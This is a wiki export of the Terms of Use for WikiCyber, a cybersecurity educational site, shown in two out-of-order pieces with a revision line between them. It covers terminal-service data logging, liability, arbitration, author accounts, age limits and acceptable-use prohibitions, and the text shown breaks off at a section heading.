'''10.5 Privacy policy and private material.''' The Privacy policy describes data practices and applicable privacy rights; it is not a blanket consent to all processing. Where separate consent is required, the Operator must obtain it. Private sandbox pages are access-restricted, but authorized administrators and reviewers may access them for operation, review, security, or legal compliance. Draft-namespace pages and public edit metadata are not private. Do not submit secrets. A privacy request is governed by applicable law, not solely by the Operator's discretion.

'''10.6 Terminal Service: what is collected.''' If you use the Terminal Service, the following is recorded and should be treated as visible to the Operator:
:(a) '''Account and eligibility.''' Your wiki account identifier and username, whether your email address is confirmed, whether you have accepted the applicable version of these Terms, and your eligibility to use the Terminal Service or a Competition. The Site sends these to the Terminal Service host in signed requests, together with the Internet address your request came from.
:(b) '''Session records.''' When each session or attempt is requested, queued, started, and ended; how it ended; its length; the environment and Competition it belonged to; limits you reached; and refused or invalid requests. The Operator keeps these in tamper-evident audit logs, and a copy of those logs is sent to a second server to help preserve evidence of tampering. These safeguards do not guarantee that records cannot be altered or lost. These logs identify you by your account identifier and may include your Internet address.
:(c) '''Console activity.''' Everything that passes through the terminal, in both directions, is visible to the Operator while the session runs, and the host keeps a log of the virtual machine's console. Because a console normally displays what you type, the console log can contain the commands you type, the output you see, and anything you paste or type into the terminal, including anything you should not have entered. Do not type or paste anything into the terminal that you are not willing for the Operator to see. The Operator does not use the console log for advertising and does not read it routinely; it uses it to run the service, to investigate abuse, faults, and suspected cheating, and to review and score attempts.
:(d) '''Environment contents.''' At the end of an attempt the Operator takes a copy of the contents of the virtual machine's disk, the files you changed or created, and the answers you typed into the environment, so that the attempt can be scored and reviewed. Practice scoring copies are ordinarily deleted after scoring; fault investigation, security incidents, or legal preservation may require longer retention. Competition evidence may be retained for review and disputes. Ending access does not guarantee immediate erasure of working disks, console logs, or backups. Retention remains subject to Section 10.7 and applicable law.
:(e) '''Scoring, booking, and results.''' Your bookings, slots, missed slots, attempts, the score and the individual scoring checks for each attempt, the Operator's review decision, and the leaderboard. Scoring is automatic and rule-based; a person may review it.
:(f) '''Network use.''' A practice session that has been given outside network access sends its traffic through a filtering proxy that records each connection it allows or refuses (the environment, the destination, the time, and the amount of data), but not the content of encrypted traffic. Competitions never have network access.
:(g) '''Email.''' Emails about booking, queueing, or results that the Operator sends to your account's email address.
:(h) '''Browser information.''' A necessary, secure session cookie that connects your browser to your one terminal session that expires according to its configured lifetime or is cleared on logout or explicit termination. Closing the browser or losing a connection need not immediately remove the cookie. The Operator does not use advertising or analytics cookies in the Terminal Service.

'''10.7 Terminal Service: use, sharing, and retention.''' The Operator uses the information in Section 10.6 to provide and secure the Terminal Service, to schedule, score, review, and publish Competitions, to prevent and investigate abuse and cheating, to keep the service running, and to meet legal obligations. The Operator shares it with service providers supporting the purposes described here and in the Privacy policy, including those identified in Section 10.3, with persons who run or review a Competition for the Operator, as required under Section 7.3, and, in the case of a leaderboard or published result, with the public as described below. Where results are published, your Site username, score, and rank may be shown to anyone who can see the page. Usernames on the Site are public (Section 10.2), so you should not use a username that you do not want connected to a published result. The Operator keeps the information in Section 10.6 for as long as it reasonably needs it for these purposes and for a Competition's review and dispute period, and may keep audit records, bookings, and published results for longer where the integrity of a Competition, the security of the Terminal Service, or the law requires. Retention must be limited to what is reasonably necessary and legally permitted, with deletion or de-identification when no longer needed; backup copies may persist until their scheduled rotation. The Privacy policy must state applicable retention periods or the criteria used to determine them. You may ask the Operator, at the address in Section 13.1, to access or delete information about you in the Terminal Service, and it will respond in accordance with applicable law, including any identity-verification requirements, response deadlines, and lawful exceptions. Published results and usernames may be removed or de-identified where required. Competition integrity alone does not override a statutory deletion right. The Terminal Service is not designed for the entry of sensitive personal information.

== 11. Disclaimer of Warranties; Limitation of Liability ==

'''11.1 Disclaimer of warranties.''' TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, THE SITE AND ALL CONTENT, INCLUDING TERMINAL ENVIRONMENTS AND COMPETITIONS, ARE PROVIDED "AS IS" AND "AS AVAILABLE," WITHOUT WARRANTIES OF ANY KIND, WHETHER EXPRESS, IMPLIED, OR STATUTORY, INCLUDING ANY WARRANTIES OF ACCURACY, COMPLETENESS, TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THE OPERATOR DOES NOT WARRANT THAT THE SITE OR THE CONTENT WILL BE UNINTERRUPTED, TIMELY, ERROR-FREE, SECURE, OR FREE OF HARMFUL COMPONENTS.

'''11.2 Exclusion of damages.''' TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, IN NO EVENT SHALL ANY OF THE WIKICYBER PARTIES BE LIABLE TO YOU OR TO ANY THIRD PARTY FOR ANY INDIRECT, INCIDENTAL, SPECIAL, CONSEQUENTIAL, EXEMPLARY, OR PUNITIVE DAMAGES, OR FOR ANY LOSS OF DATA, PROFITS, REVENUE, GOODWILL, OR SYSTEM AVAILABILITY, ARISING OUT OF OR IN CONNECTION WITH THESE TERMS, THE SITE, OR THE CONTENT, OR YOUR USE OF, OR INABILITY TO USE, THE SITE OR THE CONTENT, WHETHER BASED ON WARRANTY, CONTRACT, TORT (INCLUDING NEGLIGENCE), STATUTE, OR ANY OTHER LEGAL THEORY, AND EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

'''11.3 Limitation of aggregate liability.''' BECAUSE THE SITE IS PROVIDED FREE OF CHARGE, TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, THE TOTAL AGGREGATE LIABILITY OF THE WIKICYBER PARTIES FOR ALL CLAIMS ARISING OUT OF OR RELATING TO THESE TERMS, THE SITE, OR THE CONTENT SHALL NOT EXCEED THE GREATER OF TEN U.S. DOLLARS (US$10) OR THE AMOUNTS YOU PAID THE OPERATOR FOR THE AFFECTED SERVICE IN THE TWELVE MONTHS BEFORE THE EVENT GIVING RISE TO LIABILITY, SUBJECT TO SECTION 11.4.

'''11.4 Exceptions.''' Nothing in these Terms excludes or limits liability for fraud, willful misconduct, gross negligence, or any other liability that cannot lawfully be excluded or limited, including nonwaivable statutory remedies. No disclaimer, indemnity, assumption of risk, enforcement provision, or dispute clause overrides those protections. Some jurisdictions do not allow the exclusion of certain warranties or the limitation of certain damages, and in those jurisdictions the exclusions and limitations in this Section 11 apply only to the fullest extent permitted.

'''11.5 Basis of the bargain.''' You acknowledge that the disclaimers and limitations in this Section 11 reflect a reasonable allocation of risk, that the Site is provided free of charge in reliance on them, and that they apply even if any limited remedy fails of its essential purpose.

'''11.6 Terminal risks.''' Training images may be intentionally vulnerable or misconfigured. No warranty is made about session continuity, isolation against every possible attack, scoring accuracy, preservation of work, or suitability for an external exam or certification. Do not deploy training images as production systems or expose them to other networks. These cautions do not expand your authorized testing scope or diminish Section 11.4.

== 12. Indemnification ==

'''12.1 Indemnity.''' To the extent permitted by applicable law, you agree to indemnify the WikiCyber Parties against third-party claims and reasonable resulting losses and legal costs to the extent caused by your unlawful conduct, infringement of third-party rights, or material breach of these Terms. This does not apply to claims caused by a WikiCyber Party's own negligence, misconduct, or violation of law, or require reimbursement for your good-faith assertion of rights against the Operator. No minor or consumer assumes obligations that applicable law prohibits.

'''12.2 Procedure.''' The Operator will promptly notify you of a claim and take reasonable steps to mitigate loss. Late notice relieves you of liability to the extent it materially prejudices your defense. You may control the defense using reasonably qualified counsel acceptable to the Operator; the Operator may participate at its own expense. If you fail to provide a reasonable defense, the Operator may defend and seek only reasonable, necessary costs otherwise covered by Section 12.1. Neither party may settle a covered claim in a way that admits fault, imposes nonmonetary obligations, or fails to release the other without that other's consent, not unreasonably withheld.

== 13. Contact and Notices ==

'''13.1 Contact.''' Questions regarding these Terms, notices of claimed copyright infringement and counter-notices under Section 8, and reports under Section 6.3 should be directed to: '''admin@wikicyber.org'''.

'''13.2 Notices to you.''' The Operator may provide notices to you by posting them on the Site or by sending them to the email address associated with your account, if any. Material changes are governed by Section 14. Posting or sending a notice does not establish acceptance or waive any legally required notice, receipt, or service-of-process procedure.

'''13.3 Electronic communications.''' You consent to receive communications from the Operator in electronic form and agree that electronic communications may satisfy writing requirements to the extent permitted by applicable law; any additional legally required consent or delivery procedure still applies.

'''13.4 Account and service emails; no marketing.''' By accepting an account, an Author agrees that the Operator may send email to the address associated with the account for purposes related to the Site, such as account and security messages, password resets, editorial review and draft-status notices, terminal queue and competition booking or results messages where offered, notices of changes to these Terms or the Supplemental Policies, and responses to your inquiries. The Operator does not send advertising or marketing messages and does not contact you by telephone or text message. Some categories of email (such as review notifications) may be switched off in your preferences; notices about these Terms, legal notices, and security messages may be sent regardless. You represent that you own or are authorized to use the email address you give the Operator.

== 14. Modifications to These Terms ==

The Operator may revise these Terms prospectively. A revised version will state its effective date and be available for review. For material changes, the Operator will provide reasonable advance notice through the Site and, for affected account holders, their account email where available, ordinarily at least 30 days before effectiveness. Changes necessary for law, security, or abuse prevention may take effect sooner to the extent necessary, with notice as soon as practicable. Account holders must affirmatively accept material contractual changes before using the affected account features after effectiveness; publication or silence alone is not acceptance. A user who declines may stop using the affected features and request account closure. Changes do not retroactively alter accrued claims, revoke granted licenses, or override prior arbitration opt-outs. Changes to dispute resolution also require the protections in Section 15.15. Prior published versions remain available through page history.

== 15. Governing Law and General Provisions ==

'''15.1 Governing law.''' These Terms, and any dispute arising out of or relating to them or to the Site, are governed by the laws of the State of California, United States of America, without regard to its conflict-of-laws principles, except that mandatory protections of your place of residence continue to apply where they cannot lawfully be displaced.

'''15.2 Jurisdiction and venue.''' Subject to Sections 15.3 and 15.12 through 15.15, you irrevocably consent to the exclusive jurisdiction and venue of the state and federal courts located in the State of California for any such dispute, except where mandatory law entitles you to a different forum. This provision does not prevent qualifying small-claims proceedings under Section 15.12 or complaints to public authorities.

'''15.3 Provisional relief.''' Either party may request temporary or preliminary relief from a court of competent jurisdiction where necessary to preserve rights pending arbitration. This does not remove the merits of an otherwise arbitrable dispute from arbitration. Public injunctive relief is governed by Section 15.14.

'''15.4 Severability.''' If any provision of these Terms is held to be invalid, illegal, or unenforceable, that provision shall be enforced to the maximum extent permissible and the remaining provisions shall continue in full force and effect.

'''15.5 No waiver.''' The failure of the Operator to exercise or enforce any right or provision of these Terms does not constitute a waiver of that right or provision. Any waiver must be in writing and signed by the Operator to be effective.

'''15.6 Entire agreement; order of precedence.''' These Terms, together with the Supplemental Policies and, as to Content, the License, constitute the entire agreement between you and the Operator regarding the Site and supersede all prior or contemporaneous understandings on that subject. In the event of a conflict, (a) the License governs the rights granted in Content, and (b) mandatory law controls over all contractual terms. The Privacy policy governs descriptions of personal-data handling and does not diminish privacy rights. Event rules under Section 6.6.8 govern event mechanics but cannot change these Terms' liability, dispute-resolution, or privacy provisions. Otherwise these Terms control. An unpublished or unavailable policy is not incorporated by reference.

'''15.7 Assignment.''' You may not assign or transfer these Terms or any rights under them without the Operator's prior written consent, and any purported assignment in violation of this Section is void. The Operator may assign these Terms in connection with a genuine transfer or reorganization of the service if the successor assumes its obligations, subject to applicable law and notice of material changes in the handling of personal information. Assignment does not reduce your accrued rights.

'''15.8 Third-party beneficiaries.''' Except that the WikiCyber Parties are intended third-party beneficiaries of Sections 11 and 12, these Terms confer no rights on any person other than you and the Operator.

'''15.9 Force majeure.''' The Operator shall not be liable for any failure or delay in performance caused by events beyond its reasonable control, including failures of internet, hosting, or power services, labor disputes, natural disasters, governmental action, or attacks on the Site.

'''15.10 Geographic availability and age assurance.''' Availability of the Site does not mean every service is offered in every jurisdiction. The Operator may restrict features or locations where needed to comply with applicable law. Users must provide accurate eligibility information reasonably requested under Section 3.9, and must not evade geographic or age restrictions. These Terms do not disclaim applicable foreign law, transfer the Operator's compliance obligations to users, or replace age-assurance measures required by law. Any collection of verification information requires appropriate notice and safeguards.

'''15.11 Survival.''' Sections that by their nature should survive the termination of your access to the Site shall so survive, including Sections 2, 3.7, 3.8, 3.9(c), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, and 15, but only to the extent relevant to accrued rights and obligations or continuing lawful retention. Survival does not require indefinite data retention.

'''15.12 Informal resolution and binding arbitration.'''
:(a) '''Informal resolution first.''' Before starting an arbitration, a party must send the other a written notice describing the dispute and the relief sought (to the Operator, at the address in Section 13.1; to you, at the email address associated with your account), and the parties will try in good faith to resolve it informally for at least thirty (30) days after the notice is received. Applicable limitation periods are tolled during that period to the extent permitted by law. Neither party must delay an urgent protective filing, a qualifying small-claims case, or a complaint to a regulator. Participation does not require disclosing privileged information.
:(b) '''Agreement to arbitrate.''' If you affirmatively accepted this arbitration agreement and a dispute is not resolved within that period, then, except as provided in Section 15.12(e) and Section 15.15, you and the Operator agree that any dispute, claim, or controversy arising out of or relating to these Terms, the Site, or the Content, whether based in contract, tort, statute, or otherwise, will be resolved exclusively by final and binding arbitration on an individual basis, and not in court before a judge or jury. This Section 15.12 is governed by the Federal Arbitration Act (9 U.S.C. § 1 et seq.).
:(c) '''Rules and administrator.''' The arbitration will be administered by the American Arbitration Association ("AAA") under its Consumer Arbitration Rules in effect when the arbitration is started, subject to applicable consumer due-process protections, which this Section does not reduce. The rules and filing instructions are available at https://www.adr.org. The Operator will comply with applicable AAA clause-review, registration, and business-fee requirements. If AAA declines administration because the Operator has not complied, you may elect court proceedings. If AAA is otherwise unavailable, the parties may agree on another administrator; absent agreement, either may proceed in court. The arbitration will be conducted by a single arbitrator, in writing or by video or telephone conference, unless the arbitrator decides that an in-person hearing is necessary, in which case it will be held in the county where you live or another place that the parties agree on.
:(d) '''Costs.''' Fees and costs will be allocated under the AAA Consumer Arbitration Rules. If those rules would require you to pay more than you would have paid to file a lawsuit in the state court of the county where you live, the Operator will pay the excess. Each party bears its own attorneys' fees, except where applicable law or the arbitrator's authority under this Section permits an award of fees.
:(e) '''Exceptions.''' Either party may (i) bring an individual claim in small claims court if the claim qualifies; (ii) seek injunctive or other equitable relief under Section 15.3; and (iii) bring a claim for public injunctive relief only in court, as provided in Section 15.14.
:(f) '''Authority of the arbitrator.''' The arbitrator may award any individual relief that a court could award on the claims properly before the arbitrator, but may not award relief for or against anyone who is not a party. The arbitrator's decision is final, and a court having jurisdiction may enter judgment on it. A court decides contract formation, assent, and the validity, enforceability, and scope of this arbitration agreement, including Section 15.13; the arbitrator decides the merits of disputes properly referred to arbitration. Statutory remedies and judicial review available under applicable law remain available.

'''15.13 Individual arbitration; jury rights.''' Covered arbitrations proceed individually, not as a class or representative arbitration, unless both parties agree otherwise after a dispute arises. The arbitrator may not consolidate different persons' claims without their consent. If this limitation is unenforceable for a particular claim, that claim proceeds in court; other arbitrable claims remain in arbitration. This provision does not waive nonwaivable representative remedies, public injunctive relief, complaints to public authorities, or participation in government enforcement. Arbitration has no jury. These Terms do not separately waive a jury trial for claims that proceed in court, and do not prevent participation in a court-approved settlement.

'''15.14 Public injunctive relief.''' Nothing in this Section 15 waives any right to seek public injunctive relief that cannot lawfully be waived. If such a claim is pursued, it must be brought in court under Section 15.2, and any other claims will be arbitrated; the court determines whether any stay is appropriate under applicable law; no stay is required by these Terms where it would impair a nonwaivable remedy.

'''15.15 Opt-out; changes; severability of Section 15.12.'''
:(a) '''Opt-out.''' You may opt out of Sections 15.12 and 15.13 by emailing the address in Section 13.1 within 30 days after you first affirmatively accept this version's arbitration agreement. State that you opt out and include your username, if any, and sufficient contact information to identify you. An account or access to its original email is not required; reasonable identity verification may be requested. Timely sending is sufficient. Opting out carries no penalty or loss of service and does not affect the other Terms. A prior valid opt-out remains effective. Court proceedings under Section 15.2 then apply.
:(b) '''Changes.''' A material change to this dispute-resolution agreement requires advance notice under Section 14 and fresh affirmative acceptance, with a new 30-day opportunity to opt out. No change applies retroactively to an accrued claim or a dispute already notified to the other party unless both parties expressly agree after the dispute arises. Rejecting a change does not revoke a prior valid opt-out.
:(c) '''Minors.''' To the extent that a person is a minor under applicable law, Sections 15.12 and 15.13 apply only to the extent permitted by that law.
:(d) '''Severability.''' If part of this arbitration agreement is unenforceable, it is severed only if the remainder can lawfully operate consistently with the protections above. Sections 15.12(c) and 15.13 control administrator unavailability and unenforceable individual-arbitration restrictions. Severability cannot create assent or require arbitration where no enforceable agreement exists.

WikiCyber:Terms of Use

2026-10-31T17:08:28Z

AdminUser: Rollback terms publication after validation failure

'''Effective Date:''' 16 October 2026  |  '''Last Updated:''' 20 October 2026

These Terms of Use (these "'''Terms'''") constitute a legally binding agreement between you and the Operator (as defined below) governing your access to and use of the WikiCyber website located at https://wikicyber.org, together with its pages, content, and related services (collectively, the "'''Site'''").

'''BY ACCESSING, BROWSING, OR CONTRIBUTING TO THE SITE, YOU ACKNOWLEDGE THAT YOU HAVE READ AND UNDERSTOOD THESE TERMS AND AGREE TO BE BOUND BY THEM. IF YOU DO NOT AGREE TO THESE TERMS, YOU MUST NOT ACCESS OR USE THE SITE.''' '''You must be at least 13 years old to use the Site, and at least 18 years old to hold an Author account unless the conditions of Section 3.9 are met.''' Users who have not reached the age of majority in their jurisdiction of residence are advised to review these Terms with a parent or legal guardian before using the Site.

== 1. Introduction and Definitions ==

'''1.1 The Operator.''' WikiCyber is a free educational project operated by Shore-Roger Enterprises LLC, a California limited liability company (the "'''Operator'''", "'''we'''", "'''us'''", or "'''our'''"). The Site is an encyclopedia-style reference of cybersecurity guides, tutorials, and articles written by contributors and is made available free of charge. The Operator operates the Site as a free educational project and without any intention of making a profit, now or in the future.

'''1.2 Definitions.''' In these Terms, unless the context requires otherwise:
:"'''Author'''" means a natural person to whom the Operator has issued an account on the Site and who creates, edits, or submits Content.
:"'''Content'''" means all text, code, images, data, and other material made available on the Site, including Contributions.
:"'''Contribution'''" means any Content that an Author creates, edits, or submits to the Site, whether or not it has been published, including articles, drafts, sandbox pages, talk-page comments, and edit summaries.
:"'''License'''" means the [https://creativecommons.org/licenses/by-sa/4.0/legalcode Creative Commons Attribution-ShareAlike 4.0 International Public License] (CC BY-SA 4.0).
:"'''Supplemental Policies'''" means the [[WikiCyber:Privacy policy|Privacy policy]] and the [[WikiCyber:General disclaimer|General disclaimer]], each as published on the Site from time to time.
:"'''User'''" or "'''you'''" means any person or entity that accesses or uses the Site, including any Author.
:"'''WikiCyber Parties'''" means the Operator and its owners, officers, administrators, agents, volunteers, and Authors.

'''1.3 Interpretation.''' Headings are for convenience only and do not affect the interpretation of these Terms. The word "including" means "including without limitation." References to a statute or regulation are to that statute or regulation as amended or replaced from time to time.

'''1.4 Availability of the Site.''' The Operator may modify, suspend, restrict, or discontinue the Site, or any part of it, at any time, for any reason, and without notice or liability.

== 2. Content License and Contributions ==

=== 2.1 License to Content ===
'''2.1.1''' Unless a page or item expressly states otherwise, Content is made available to the public, free of charge, under the License. Subject to and in accordance with the License, you may copy, redistribute, and adapt the Content for any purpose, including commercial use, provided that you comply with the License, including the following conditions:
:(a) '''Attribution.''' You must give appropriate credit to WikiCyber and its Authors, provide a link to the License, and indicate whether changes were made. A hyperlink or URL to the page you used, or to its history page, is sufficient to credit the Authors.
:(b) '''ShareAlike.''' If you remix, transform, or build upon the Content, you must distribute your contributions under the License or a license that the License designates as compatible.

'''2.1.2''' Section 2.1.1 is a summary provided for convenience and is not a substitute for the License. In the event of any conflict between this Section 2.1 and the License, the License governs with respect to the rights granted in the Content.

=== 2.2 Contributions ===
By creating, editing, or submitting a Contribution, an Author represents, warrants, and agrees that:
:(a) the Author hereby licenses the Contribution to the public under the License, and acknowledges that such license is '''irrevocable''';
:(b) the Contribution is the Author's original work, or the Author otherwise holds all rights necessary to license it under the License, and the Contribution does not infringe, misappropriate, or violate the copyright, trademark, privacy, or other rights of any third party;
:(c) any third-party material included in the Contribution is identified as such and is available under a license compatible with the License;
:(d) Contributions that are published on the Site, together with their edit histories and the Author's username, are publicly and permanently visible, and may be edited, reorganized, moved, or removed by the Operator's administrators at any time;
:(e) subject to the License, the Author retains such copyright as the Author holds in the Contribution, and no Contribution creates any obligation on the part of the Operator to publish, retain, or credit it other than as the License requires; and
:(f) the Contribution complies with Section 6.

=== 2.3 Matters Not Licensed ===
:(a) Third-party material that is marked with its own license, copyright notice, or terms remains subject to that license, notice, or terms.
:(b) The names "WikiCyber" and "Shore-Roger Enterprises LLC," and all associated logos, are trademarks or trade names of their respective owners. The License does not grant any trademark rights, and no such rights are granted by these Terms.

=== 2.4 Linking to the Site ===
You may link to any page of the Site, including by text hyperlink, for any lawful purpose, provided that the linking does not suggest that the Operator or any Author sponsors, endorses, or is affiliated with you or your site, and that your site does not contain material that is unlawful, harassing, hateful, or otherwise objectionable. You may not use the WikiCyber name or any WikiCyber logo or graphic as a link or in any other manner that suggests endorsement without the Operator's prior written permission. This Section does not limit the attribution you are required to give under the License. The Operator may withdraw this permission as to any particular site at any time.

== 3. Authors and Accounts ==

'''3.1 Invitation only.''' Accounts on the Site are issued by invitation only. Authors are vetted before being invited and are expected to have a notable background in cybersecurity, whether as a cybersecurity professional or through a history of participation in capture-the-flag (CTF) competitions and cybersecurity camps. An invitation, and the holding of an account, are subject to the minimum-age requirements of Section 3.9, regardless of the background on which the Author was vetted.

'''3.2 Vetting is not a guarantee.''' The vetting of an Author does not constitute a representation or warranty by the Operator that any Author's Content is accurate, complete, current, or endorsed by the Operator. Content reflects the knowledge and opinions of the individual Authors.

'''3.3 Account security.''' Each Author is solely responsible for maintaining the confidentiality of their account credentials, for all activity that occurs under their account, and for not permitting any other person to use their account. An Author is the sole authorized user of their account. An Author must notify the Operator promptly upon becoming aware of, or reasonably suspecting, any unauthorized use of their account or compromise of their credentials.

'''3.4 Editorial control and review.''' New or changed Content may be held in a draft or review queue before publication. The Operator may edit, move, decline to publish, or remove any Content at any time and for any reason, in its sole discretion.

'''3.5 No employment or agency.''' Unless the Operator and an Author have agreed otherwise in a signed writing, Authors contribute voluntarily and without compensation, and nothing in these Terms creates an employment, partnership, joint venture, or agency relationship between the Operator and any Author.

'''3.6 One account; accurate information.''' Unless the Operator agrees otherwise in writing, each Author may hold only one account. The Operator may deactivate any additional or duplicate account. An Author must provide accurate information to the Operator (including the email address associated with the account) and must keep that information current. Accounts are personal to the Author and may not be shared, sold, lent, or transferred.

'''3.7 Authors' representations.''' By accepting an account, an Author represents and warrants that: (a) the Author has not previously been suspended or removed from the Site, and has not engaged in conduct that would justify suspension or removal; (b) the Author has the full power and authority to accept these Terms, and doing so does not breach any other agreement or obligation by which the Author is bound (including any agreement with an employer, school, or competition organizer concerning ownership of, or confidentiality of, work product); (c) every statement the Author makes to the Operator in connection with the Author's invitation or vetting is true; and (d) the Author satisfies the eligibility requirements of Section 6.5 (Export Controls and Sanctions) and will promptly notify the Operator if that ceases to be true.

'''3.8 Contributing on behalf of an organization.''' If an Author contributes to the Site in the course of employment or on behalf of a school, team, company, or other entity (an "'''Organization'''"), the Author represents that the Author is authorized to accept these Terms and to license the Contribution under the License on the Organization's behalf, and that the Organization agrees to be bound by these Terms. In that case, "you" refers to both the Author and the Organization, and the Organization is responsible to the Operator for any breach of these Terms by the Author in connection with that Contribution. An Author who is not so authorized must not submit the Contribution.

'''3.9 Minimum age.'''
:(a) '''Use of the Site.''' You must be at least 13 years old to access or use the Site. If you are under 13, you must not use the Site, and you must not create an account, submit any Contribution, or provide any personal information to the Operator. The Site is not directed to children under 13, and the Operator does not knowingly collect personal information from children under 13.
:(b) '''Author accounts.''' You must be at least 18 years old (or the age of majority in your jurisdiction, if higher) to hold an Author account, except that a person who is at least 13 but under 18 may hold an Author account only if the Operator has received, directly from the person's parent or legal guardian and before the account is issued, written consent to the account and to these Terms, in a form the Operator accepts, together with enough information for the Operator to verify that the consent is genuine. The Operator may refuse to issue an account to any minor, and a vetting history or an invitation does not oblige the Operator to do so. A parent or legal guardian who gives consent is responsible for the minor's use of the account and may withdraw consent at any time by written notice to the Operator, upon which the Operator will deactivate the account.
:(c) '''Representation and enforcement.''' By accessing the Site or accepting an account, you represent that you meet the requirements of this Section 3.9. An Author must tell the Operator promptly if they are not, or cease to be, eligible. If the Operator learns that a person under 13 has used the Site or provided personal information, or that an account was issued in breach of this Section, the Operator may immediately deactivate the account and will take reasonable steps to delete the personal information it holds about that person, subject to any legal obligation to retain it. Contributions that have already been published may remain in accordance with the License and the public nature of the Site's edit history (Section 10.2), but the Operator may remove them.

'''3.10 Inactive accounts.'''
:(a) '''Inactivity.''' An Author account is "inactive" if, for a continuous period of twelve (12) months, the account has neither been used to log in to the Site nor been used to make an edit or other contribution, as shown by the Operator's records.
:(b) '''Deactivation.''' The Operator may deactivate an inactive account at any time. Before doing so, the Operator will make a reasonable effort to send a notice to the email address associated with the account, at least thirty (30) days in advance, but the Operator is not required to do so if the account has no working email address, and a failure of delivery does not prevent deactivation. Deactivation removes the Author's ability to log in and may include removing the Author's permissions, any reviewer or other role, and any open assignments.
:(c) '''Deletion of personal data.''' After deactivation, the Operator may delete the email address and other non-public personal information associated with the account. Because of the License, the public edit history, and the need to attribute Authors, the Author's username, and Contributions that were already published, may remain on the Site, and the Operator may rename the account to a neutral name or remove the Contributions in its discretion.
:(d) '''Reactivation.''' A former Author whose account was deactivated under this Section may ask the Operator to reactivate it. The Operator is not obliged to do so, and may require the Author to be re-vetted and to satisfy Sections 3.7, 3.9, and 6.5 again before granting the request.
:(e) '''Security.''' The Operator may also deactivate, suspend, or limit any account at any time where it reasonably suspects that the account is compromised or at risk of misuse, in accordance with Section 7.

== 4. Educational Use Only; No Professional Advice ==

'''4.1 Educational purpose.''' '''WikiCyber is not a source of expert help.''' The Site is a reference work, similar in style to an encyclopedia, intended solely for general educational purposes. Nothing on the Site constitutes professional, legal, security-consulting, or other individualized advice, and no attorney-client, consultant-client, or other professional relationship is created by your use of the Site.

'''4.2 No assurance of accuracy.''' Cybersecurity guidance is dependent on context, and the techniques described on the Site may alter, disable, or damage systems and data. Content may be incomplete, out of date, or incorrect. Before applying any Content, you should practice in an isolated laboratory or virtual machine, maintain backups, and verify the information against authoritative sources.

'''4.3 Assumption of risk and responsibility.''' You use the Site and the Content '''entirely at your own risk'''. You are solely responsible for (a) obtaining all authorizations necessary before testing, configuring, or otherwise acting upon any system, network, or data, and (b) ensuring that your use of the Content complies with all applicable laws, regulations, and agreements.

== 5. No Affiliation; Third-Party Marks ==

'''5.1 Wikipedia and the Wikimedia Foundation.''' WikiCyber is '''not affiliated with, endorsed by, sponsored by, or representative of Wikipedia or the Wikimedia Foundation''', and does not claim otherwise. The Site runs on MediaWiki, free and open-source software that is used by many unrelated organizations, and the use of that software implies no affiliation of any kind.

'''5.2 Other organizations.''' WikiCyber is not affiliated with, endorsed by, or sponsored by CyberPatriot, the Air & Space Forces Association, Cisco Systems, Microsoft Corporation, or any other organization, product, service, or competition that may be mentioned on the Site.

'''5.3 Third-party marks.''' All third-party names, trademarks, and logos are the property of their respective owners and are used for identification and educational reference only.

== 6. Acceptable Use ==

Cybersecurity knowledge may be used either to defend systems or to attack them. You are fully responsible for your own conduct on and in connection with the Site. You may use the Site only for lawful and ethical purposes, in compliance with all applicable laws and regulations, with this Section 6, and with any editorial policies, help pages, or reasonable instructions the Operator publishes on the Site from time to time. If you use any third-party service in connection with the Site, you must also comply with that service's terms.

'''Prohibited uses of the Site and its Content.''' You shall not use the Site, or any information obtained from it, to:
:(a) access, probe, attack, disrupt, or damage any computer system, network, account, or data '''without the explicit permission of its owner''';
:(b) commit, or assist any person in committing, any crime or other unlawful act, including fraud, identity theft, stalking, unauthorized surveillance, or theft of data;
:(c) create, host, or distribute malware or other harmful code for malicious use, or post, embed, upload, host, or link to any Malicious Code (as defined in Section 6.4) in any form other than an Educational Sample that complies with Section 6.4.

'''Prohibited conduct on the Site.''' You shall not:
:(d) attack, overload, abusively scrape, or attempt to circumvent the security or access controls of the Site;
:(e) post the private information, credentials, or confidential material of any other person without that person's consent;
:(f) post Content that infringes any person's intellectual property rights, or that is harassing, threatening, intimidating, stalking, obscene, hateful, deceptive, or spam;
:(g) impersonate any person or misrepresent your qualifications or affiliation;
:(h) post answers, keys, or non-public materials from an ongoing competition where the rules of that competition prohibit sharing them;
:(i) discriminate against, or harass, any person on the basis of race, color, national origin, religion, sex, gender identity, sexual orientation, disability, medical condition, marital status, age, or any other characteristic protected by applicable law;
:(j) use or attempt to use another person's account, or allow another person to use yours;
:(k) interfere with, disrupt, damage, disable, or overburden the Site or its servers or networks, or impair any other person's use of the Site, including by abusing the review, request, or notification features;
:(l) access or attempt to access any page, feature, account, or data that you are not authorized to access (including another Author's private sandbox pages), or tamper with, probe, or bypass any security measure, permission, or protection of the Site;
:(m) use robots, crawlers, scrapers, or other automated means to access the Site except in a way that respects the Site's robots.txt file and any published rate limits or API guidelines, it being understood that nothing in this paragraph restricts your rights in the Content under the License;
:(n) post Content that you know to be false or misleading, that contains viruses, corrupted data, or other harmful, disruptive, or destructive files or code (other than Educational Samples that comply with Section 6.4), or that contains political campaigning, advertising, or solicitation; or
:(o) engage in, encourage, or promote any activity that violates these Terms or the rights of the Operator or any third party.

=== 6.1 No Promotional Links ===
'''6.1.1''' '''Promotional links are prohibited''' on articles, drafts, and all other pages of the Site, except as provided in Section 6.1.2. A "promotional link" includes any link to your own or any other person's website, blog, video channel, store, newsletter, or social media profile; any donation, sponsorship, or "buy me a coffee" page; and any affiliate, referral, or advertising link.

'''6.1.2''' Promotional links are permitted '''only on an Author's own user profile page''' (the page titled "User:" followed by the Author's username). Promotional links are '''not''' permitted on articles, on drafts or sandbox pages submitted for review, on talk pages, or on any other page. An Author must remove all promotional links from a draft before submitting it for review.

'''6.1.3''' A link that serves as a genuine source for a statement of fact, cited in accordance with the Site's sourcing policy (for example, a link to official documentation), is not a promotional link. However, the Operator's reviewers may remove any link whose primary purpose is promotional, and the Operator may remove promotional links and content at any time without notice. Repeated violations of this Section 6.1 may result in the loss of Author access under Section 7.

=== 6.2 Reasonable File Sizes ===
